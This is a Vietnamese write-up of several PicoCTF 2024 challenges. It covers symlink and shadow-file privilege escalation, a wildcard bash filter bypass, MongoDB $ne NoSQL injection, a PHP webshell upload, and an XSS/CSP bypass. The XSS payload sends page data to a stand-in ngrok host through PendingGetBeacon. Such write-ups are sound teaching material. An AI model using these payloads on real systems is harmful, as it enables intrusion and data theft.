PicoCTF 2024
PicoCTF2024 đã kết thúc, giải này mình có khá nhiều nuối tiếc vì bài cuối web quá khó, dù không clear nhưng team Zafk1el tụi mình đã cố gắng hết sức. Tiện đây mình viết writeup một số bài đáng chú ý trong giải này.
GENERAL SKILLS: dont-you-love-banners
1
2
3
4
Can you abuse the banner?
The server has been leaking some crucial information on tethys.picoctf.net 64560. Use the leaked information to get to the server.
To connect to the running application use nc tethys.picoctf.net 64699. From the above information abuse the machine and find the flag in the /root directory.
CÁCH 1: symlink
Trước hết thì trả lời vài câu hỏi để được vào được shell của player
Khi mình vào được shell thì bắt đầu lượn qua các folder, mô tả của bài bảo hãy tìm cách đọc flag ở folder /root nên mình cd đến folder đó để xem
Tất nhiên là làm gì có chuyện dễ thế, flag đã bị giới hạn quyền chỉ có root mới có quyền đọc
Vậy làm gì bây giờ ? Lúc này mình mới để ý có file script.py nên mình mở lên xem, đây là nội dung file script.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import os
import pty
incorrect_ans_reply = "Lol, good try, try again and good luck\n"
if __name__ == "__main__":
try:
with open("/home/player/banner", "r") as f:
print(f.read())
except:
print("*********************************************")
print("***************DEFAULT BANNER****************")
print("*Please supply banner in /home/player/banner*")
print("*********************************************")
try:
request = input("what is the password? \n").upper()
while request:
if request == 'MY_PASSW@RD_@1234':
text = input("What is the top cyber security conference in the world?\n").upper()
if text == 'DEFCON' or text == 'DEF CON':
output = input(
"the first hacker ever was known for phreaking(making free phone calls), who was it?\n").upper()
if output == 'JOHN DRAPER' or output == 'JOHN THOMAS DRAPER' or output == 'JOHN' or output== 'DRAPER':
scmd = 'su - player'
pty.spawn(scmd.split(' '))
else:
print(incorrect_ans_reply)
else:
print(incorrect_ans_reply)
else:
print(incorrect_ans_reply)
break
except:
KeyboardInterrupt
Trong file này thì không có gì đáng chú ý trừ 2 điểm
- File này chạy dưới quyền root
- File này đọc nội dung 1 tệp tin là /home/player/banner
Lúc này thì ta rút ra dùng symlink để /home/player/banner trỏ đển /root/flag.txt và đọc được flag
Bây giờ chỉ cần nc lại server thì script.py sẽ tự động đọc flag in ra cho ta
CÁCH 2: crack passwork
Trong bài này chúng ta ngoài quyền đọc 1 số file mặc định thì chúng ta lại được cấp quyền đọc file /etc/shadow, file này là file quan trọng chứa password của tất cả user ( đã bị mã hoá ) vậy nếu chúng ta có thể decrypt lại thì chúng ta sẽ có password và thăng lên quyền root
Về cách crack password thì mình sử dụng tool hashcat
để crack ra password
Cách này thì mình không đánh giá cao lắm vì nhìn hơi cùi <(“) nhưng mà nó cũng là một cách
Funfact: Trong lúc làm bài này mình đã ngẫu nhiên gõ đúng password của root trong ngay lần đầu tiên, sau đó mình mới dùng cách symlink
Flag: picoCTF{b4nn3r_gr4bb1n9_su((3sfu11y_68ca8b23}
GENERAL SKILLS: SansAlpha
1
2
3
The Multiverse is within your grasp! Unfortunately, the server that contains the secrets of the multiverse is in a universe where keyboards only have numbers and (most) symbols.
Additional details will be available after launching your challenge instance.
Bài này chặn tất cả các chữ cái và 1 số ký tự đặc biệt, chỉ có thể xài số và các ký tự đặc biệt. Bài này sau một lúc suy nghĩ thì mình nghĩ theo hướng wildcards và tìm ra 2 cách khá hay
Cách 1: Sử dụng base32
Sau một lúc fuzzing thì mình tìm thấy file flag.txt ở ./blargh/flag.txt
Tiếp theo chúng ta cần tìm cách đọc flag. Để thực thi được lệnh thì trong lệnh đó chỉ có thể có ký tự đặc biệt và số, kết hợp wildcard chúng ta chỉ cần tìm những lệnh có số là được. Sau đó, mình tìm được 2 lệnh có thể dùng được đó là base64 và base32
Nhưng có một vấn đề đó là base64 khi dùng wildcard lại trùng với một tệp thực thi khác /usr/bin/x86_64
vậy thì còn lại base32 có vẻ khả thi
Chúng ta có thể dùng wildcard gọi ra file base32 như sau /???/???/????32
và flag thì có địa chỉ ở trên rồi bây giờ kết hợp lại để đọc flag.txt.
Decode base32 sex ra flag
Cách 2: Sử dụng strings
Lúc nãy mình mới nói là chỉ có thể gọi ra file thực thi có số thôi mà lệnh strings
thì làm gì có số để mà gọi =)))
thật ra là có một cách nhưng cách này chỉ gọi được rất giới hạn
Bằng cách tận dụng tham số special bash ta có thể gọi ra một số ký tự, như ở challenge hiện tại chúng ta có dùng $-
để gọi ra các ký tự sau 'h', 'i', 'm', 'B', 'H', 's'
Giải thích ngắn gọn thì $-
là tổng hợp các flag được thiết lập cho shell bash hiện tại, như shell ở trên thì ý nghĩa từng ký tự như sau
H - histexpand: Đây là flag cho phép chúng ta lấy những gì chúng ta đã nhập bỏ vào input để tiếp tục thực hiện lệnh, cho phép chúng ta dễ dàng nhập và lặp lại lệnh
m - monitor: Đây là flag liên quan đến job control, giúp chúng ta theo dõi các job trong shell
h - hashall: Đây là flag được bật lên mặc định, nó giúp lưu trữ các lệnh mà ta thường xài để giúp tăng tốc tốc độ thực thi chương trình
B - braceexpand: Đây là flag làm cho shell có thể sử dụng brace expansion
i - interactive: Đây là flag khi mà shell có thể tương tác được
Có thể đọc thêm tại đây LINK
Bây giờ dựa vào đó, chúng ta có thể gán giá trị đó vào một biến khác để dễ dàng sử dụng hơn mình sử dụng biến ____
để lấy giá trị $-
Lúc này mình kiểm tra đã gán thành công bây giờ đến bước lấy ký tự trong đó ra bằng ${____:index:len}
Sau khi đánh giá các lệnh có thể mình đã chọn lệnh strings
để sử dụng, dựa vào các dữ kiện ở trên mình có thể craft được payload như sau /?${____:5:1}?/???/${____:5:1}??${____:1:1}??${____:5:1}
(/?s?/???/s??i??s)
Lúc này chúng ta gần như có được lệnh ls (fake) và cat (fake) với lệnh này ta có thể đọc bất kỳ file nào nếu biết địa chỉ
Đọc flag
Flag: picoCTF{7h15_mu171v3r53_15_m4dn355_36a674c0}
WEB EXPLOITATION: No Sql Injection
1
2
3
Can you try to get access to this website to get the flag?
You can download the source here.
The website is running here. Can you log in?
App sử dụng MongoDB, sử dụng phương thức POST để gửi giá trị email và password lên
Bài này chỉ có 2 chổ cần chú ý
- Tại
/api/login/route.ts
có 1 đoạn lệnh như sau1 2 3 4 5 6 7 8 9
const users = await User.find({ email: email.startsWith("{") && email.endsWith("}") ? JSON.parse(email) : email, password: password.startsWith("{") && password.endsWith("}") ? JSON.parse(password) : password }); if (users.length < 1) return new Response("Invalid email or password", { status: 401 },users); else { return new Response(JSON.stringify(users), { status: 200 }); }
- Và tại
/models/user.ts
có đoạn lệnh1 2 3 4 5 6 7 8
const UserSchema: Schema = new Schema({ email: { type: String, required: true, unique: true }, firstName: { type: String, required: true }, lastName: { type: String, required: true }, password: { type: String, required: true }, token: { type: String, required: false ,default: ""}, }); const User = models.User || mongoose.model<UserInterface>("User", UserSchema);
Tại route.ts
đoạn code sẽ kiểm tra xem nếu biến email
và password
truyền vào bắt đầu bằng ‘{‘ và kết thúc bằng ‘}’ thì parse cái JSON đó ra còn ngược lại thì truyền vào nguyên giá trị đó và nếu login vào thành công sẽ trả về users
Tại user.ts
đoạn code trên gán một key là token với value mặc định là FLAG
MongoDB thì có thể thêm một số query operator để tạo ra các điều kiện cụ thể để database trả về dữ liệu ứng với điều kiện đó, dựa vào đó ta có thể bắt nó trả về giá trị mà ta mong muốn
Vậy chúng ta có thể thêm một query operator $ne để trả về tất cả giá trị không giống với giá trị ta nhập vào
Decode token và có được flag
Flag: picoCTF{jBhD2y7XoNzPv_1YxS9Ew5qL0uI6pasql_injection_af67328d}
WEB EXPLOITATION: Trickster
1
2
I found a web app that can help process images: PNG images only!
Additional details will be available after launching your challenge instance.
Bài này cho một trang web để upload ảnh png lên, vì đây là một bài blackbox nên mình check /robots.txt xem có gì hot không
Có 2 đường dẫn
/uploads/
có vẻ đây là nơi sẽ lưu trữ các file mình upload lên/instructions.txt
nội dung của nó tóm tắt là nó sẽ cho phép file upload lên có.png
trong tên, có header của PNG
Upload một vài bức ảnh thì nhận ra backend của web sử dụng PHP nên mình sẽ up file PHP để tạo một cái webshell
Có được webshell rồi thì lấy flag thôi
Flag: picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_3f706222}
WEB EXPLOITATION: elements
1
Insert Standard Web Challenge Here.
Bài này cho một trang web có giao diện như sau
Trang web này có chức năng kéo các element vào nhau để tạo ra element mới.
Sau khi phân tích qua source code thì có các điều đáng chú ý sau:
1
2
3
4
5
6
7
8
9
10
11
12
const evaluate = (...items) => {
const [a, b] = items.sort();
for (const [ingredientA, ingredientB, result] of recipes) {
if (ingredientA === a && ingredientB == b) {
if (result === 'XSS' && state.xss) {
eval(state.xss);
}
return result;
}
}
return null;
}
Đoạn code này nếu chúng ta tạo ra một element có tên là XSS
và có giá trị state.xss
thì có thể thực hiện lệnh eval()
1
2
3
4
5
6
7
8
9
10
11
try {
state = JSON.parse(atob(window.location.hash.slice(1)));
for (const [a, b] of state.recipe) {
if (!found.has(a) || !found.has(b)) {
break;
}
const result = evaluate(a, b);
found.set(result, elements.get(result));
}
} catch(e) {}
Đoạn code này sẽ lấy object state
bằng cách decode phần sau dấu thăng (fragment identifier) và parse nó sau đó lấy từng giá trị trong state.recipe
để craft lên element mới
1
2
3
4
5
6
7
8
9
10
11
12
13
14
const csp = [
"default-src 'none'",
"style-src 'unsafe-inline'",
"script-src 'unsafe-eval' 'self'",
"frame-ancestors 'none'",
"worker-src 'none'",
"navigate-to 'none'"
]
res.setHeader('Content-Security-Policy', csp.join('; '));
res.setHeader('Cross-Origin-Opener-Policy', 'same-origin');
res.setHeader('X-Frame-Options', 'deny');
res.setHeader('X-Content-Type-Options', 'nosniff');
Đoạn này thì set lần lượt các csp (Content-Security-Policy) để bảo mật trang web giải thích sơ qua
Default-src: none
: Các nguồn được mặt định là không cho phép từ bất kỳ nguồn nào
Style-src : unsafe-inline
: Cho phép chèn một inline block style
Script-src : unsafe-eval self
: Cho phép dùng lệnh eval và dùng các script được tải từ cùng một nguồn
frame-ancestors none
: Không cho phép các trang web khác nhúng nó vào một frame hay iframe nào đó
worker-src 'none'
: Không cho phép sử dụng Worker để thực thi các lệnh javascript độc lập chạy song song
navigate-to 'none'
: Không cho phép điều hướng trang web
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
state = {...state, flag }
await mkdir(join(userDataDir, 'Default'));
await writeFile(join(userDataDir, 'Default', 'Preferences'), JSON.stringify({
net: {
network_prediction_options: 2
}
}));
const proc = spawn(
'/usr/bin/chromium-browser-unstable', [
`--user-data-dir=${userDataDir}`,
'--profile-directory=Default',
'--no-sandbox',
'--js-flags=--noexpose_wasm,--jitless',
'--disable-gpu',
'--no-first-run',
'--enable-experimental-web-platform-features',
`http://127.0.0.1:8080/#${Buffer.from(JSON.stringify(state)).toString('base64')}`
],
{ detached: true }
)
Và cuối cùng là đoạn này, khi chúng ta đến đường dẫn /remoteCraft
và cho nó 1 parameter recipe
thì chúng ta có trigger server đi đến website này với phần fragment identifier là giá trị của object state
Có một vài setting đã được thêm vào, đoạn setting này sẽ ngăn không cho tải trước bất kỳ tài nguyên từ mạng nào
1
2
3
4
net:
{
network_prediction_options: 2
}
Sau khi có các dữ kiện, chúng ta có thể nghỉ đến craft recipe sao cho trả về kết quả là XSS
và chèn lệnh javascript vào để eval gửi flag về cho chúng ta, mình đã thử rất nhiều cách và tìm được một cách đó là sourceMappingURL
nhưng để dùng được cái này thì phải mở được Devtools
của chrome nhưng cách này hoàn toàn không được vì dính bảo mật của chrome
Sau đó mình thử rất nhiều lệnh vào nhưng không có lệnh nào có thể vượt qua được csp và các setting của chrome trên, đến lúc này thì mình đã bó tay và bỏ cuộc
Sau giải khi mình đọc được writeup của satoki
thì mình mới biết được rằng chúng ta có thể dùng PendingGetBeacon
đây là một chức năng thử nghiệm của chrome (sau này được thay thế bằng fetchLater
ở những phiên bản sau này)
Giải thích về chức năng của PendingGetBeacon
nó sẽ gửi request đến một HTTPS server sau khi browser bị huỷ hoặc đã được lưu vào cache và không được tải lại sau một khoảng thời gian. Nhưng điều đặc biệt nhất, nó không bị dính giới hạn của CSP và có thể dùng để gửi data trong web ra ngoài
Ta sẽ thêm một options để send beacon khi mà trang bị huỷ/ không được load sau 1 thời gian nhất định sẽ gửi request lên server bằng {timeout:1000}
(sau 1s sẽ gửi)
Lúc này thì đã biết được lệnh nào có thể sử dụng được thì đoạn này đã dễ rồi
Payload: recipe={"recipe": [["Air", "Water"], ["Earth", "Water"], ["Earth", "Fire"], ["Fire", "Mist"], ["Magma", "Mud"], ["Fog", "Mud"], ["Obsidian", "Water"], ["Hot Spring", "Sludge"], ["Fire", "Steam Engine"], ["Air", "Earth"], ["Earth", "Obsidian"], ["Hot Spring", "Steam Engine"], ["Dust", "Heat Engine"], ["Computer Chip", "Fire"], ["Computer Chip", "Steam Engine"], ["Computer Chip", "Electricity"], ["Magma", "Mist"], ["Fire", "Sand"], ["Artificial Intelligence", "Data"], ["Computer Chip", "Software"], ["Air", "Rock"], ["Glass", "Software"], ["Encryption", "Software"], ["Internet", "Program"], ["Cybersecurity", "Vulnerability"], ["Exploit", "Web Design"]], "xss": "new PendingGetBeacon('https://NGROKSERVER/xxxx/?yuu=' + window.location.hash.slice(1), {timeout: 1000});"}
Sau khoảng 1s sẽ nhận được một request đến server của ta
Decode và lấy flag
Flag: picoCTF{little_alchemy_was_the_0g_game_does_anyone_rememb3r_9889fd4a}
Fun fact: Bài này sau khi mình hết cứu thì mình đã thực hiện phương thức random bullshit go
và bị người anh pro của mình nhắc nhở :"((
may mà không có cái payload nào hack máy mình, hehe cảm ơn anh đã nhắc nhở
Lời bạt: Sau giải thì mình cũng học được thêm rất nhiều thứ và được cùng team chơi giải này, mong sau này team mình đạt được thứ hạng cao hơn. Cảm ơn ae (Hidori
, Kuro0
, fuyosuru
, SinsAries
)
Nguồn Writeup
: https://github.com/satoki/ctf_writeups/tree/master/picoCTF_2024